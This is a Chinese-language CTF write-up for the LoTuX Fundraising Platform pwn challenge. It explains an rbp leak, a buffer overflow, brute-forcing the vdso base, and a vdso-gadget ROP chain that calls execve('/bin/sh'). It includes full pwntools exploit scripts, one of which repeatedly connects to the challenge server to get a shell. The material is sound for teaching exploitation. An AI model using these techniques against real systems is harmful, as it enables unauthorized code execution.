> [name=Curious]
## 思路和解法
這題的 `chal` 丟進 IDA 後跟 [LoTuX Fundraising Platform 1](https://lotuxctf.com/challenges#LoTuX%20Fundraising%20Platform%201-23) 一樣,所以這邊就稍微分析一下,詳細的部分可以參考 [Writeup](https://hackmd.io/@LoTuX-CTF/LoTuX_Fundraising_Platform_1_CH)。
反編譯之後的結果:


分析後可以知道,透過 `register_donation` 可以 leak `main` 的 `rbp` 位址,且 `main` 有一個 0x20 的 BOF。
接著這題和上一題不一樣的地方是這一題有開 PIE,所以沒辦法直接用自己帶的 ROP Gadget 做 ROP。
看一下整個題目架構,可以發現題目會在 Ubuntu 20.04 下跑,所以去 Ubuntu 20.04 下執行看看。

可以發現 vdso 這個 Segment 有執行權限,而且在 stack 後跟 stack 靠的很近,所以可以猜測透過 `register_donation` leak 出來的 `rbp`,我們可以暴力嘗試 vdso 的 base address,然後再利用 vdso 中的 ROP Gadget 來做 ROP。
目前我們先假設我們已經透過 `main` 的 `rbp` 暴力出 vdso 的 base address。
為了要分析 vdso 中有什麼 ROP Gadget,我們可以在 gdb 用 `dump memory vdso.so.1 0x7ffeb73ec000 0x7ffeb73ee000` 把 `0x7ffeb73ec000` 到 `0x7ffeb73ee000` 的資料 dump 到 `vdso.so.1` 中,然後用 `ROPgadget` 去分析它。

稍微看一下 `main` 的反組譯碼

可以看到在呼叫 `read@plt` 之後會把 `rsi` 和 `rdx` 歸 0,然後因為 `read@plt` 會把讀進來的字串長度寫到 `rax`,所以在 `main` return 之後 `rax` 會是我們輸入的字串長度,`rsi` 和 `rdx` 會是 0。
接下來就是要構建 ROP Chain,這邊直接寫我的 ROP Chain
```
| /bin
| /sh\x00
| vdso + 0x871 ; pop rdi ; pop rbp ; ret
| main_rbp - 0x20 ; "/bin/sh\x00" 的 address
| 0
| vdso + 0x515 ; syscall
| vdso + 0xad9 ; pop rsp ; pop rbp ; ret
| main_rbp - 0x20 ; "/bin/sh\x00" 的 address
```
這邊做一下小小的解釋,`main` return 之後會直接執行 `pop rsp ; pop rbp ; ret` 這個 gadget,當 `pop rsp ;` 執行時會把 `rsp` 改到 `main_rbp - 0x20` 的地方,也就是指著 `"/bin/sh\x00"` 的地方,接著執行 `pop rbp ;` 時就會把 `"/bin/sh\x00"` 移到 `rbp`,這樣 `rsp` 就會指向 `pop rdi ; pop rbp ; ret`,接著 return 時就會執行 `pop rdi ;`。
經過以上的 ROP Chain 後,可以發現我們的 `rdi`, `rsi`, `rdx` 在執行 `syscall` 前的值會是 `"/bin/sh\x00"`, `0`, `0`,為了要直接執行 `execve`,所以要讓整個輸入改成 0x3b 長度。
到這邊可以先透過以下 Script 進行測試
```python=
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
r = process('./chal')
gdb.attach(r)
r.sendlineafter(b'> ', b'a' * 16)
r.sendlineafter(b'> ', b'1234')
r.recvuntil(b'a' * 16)
rbp = u64(r.recv(6).ljust(8, b'\x00'))
info(f'rbp : {hex(rbp)}')
vdso = int(input('vdso > '), 16)
info(f'vdso : {hex(vdso)}')
pop_rdi_rbp_ret = vdso + 0x871
pop_rsp_rbp_ret = vdso + 0xad9
syscall = vdso + 0x515
r.sendafter(b'? ', b'/bin/sh\x00' + flat(
pop_rdi_rbp_ret, rbp - 0x20, 0,
syscall,
pop_rsp_rbp_ret, rbp - 0x20
) + b'a' * 3)
r.interactive()
```
接著就是要暴力嘗試 vdso 了,透過上面的 Script 可以發現 `rbp` 和 vdso base address 很接近,而且 vdso base address 一定比 `rbp` 大,所以直接猜一個值(像我是猜 `(rbp & 0xfffffffff000) + 0x32000`),然後一直連線,大概連線 500 次內就會猜對。
Solve Script :
```python=
from pwn import *
from time import sleep
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
for i in range(1024):
r = remote('lotuxctf.com', 10004)
try:
r.sendafter(b'> ', b'a' * 16)
r.sendlineafter(b'> ', b'1234')
r.recvuntil(b'a' * 16)
rbp = u64(r.recv(6).ljust(8, b'\x00'))
info(f'rbp : {hex(rbp)}')
vdso = (rbp & 0xfffffffff000) + 0x32000
info(f'vdso : {hex(vdso)}')
pop_rdi_rbp_ret = vdso + 0x871
pop_rsp_rbp_ret = vdso + 0xad9
syscall = vdso + 0x515
r.sendafter(b'? ', b'/bin/sh\x00' + flat(
pop_rdi_rbp_ret, rbp - 0x20, 0,
syscall,
pop_rsp_rbp_ret, rbp - 0x20
) + b'a' * 3)
sleep(0.7)
r.sendline(b'ls')
r.recvline()
r.interactive()
break
except EOFError:
r.close()
print(i)
```
{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}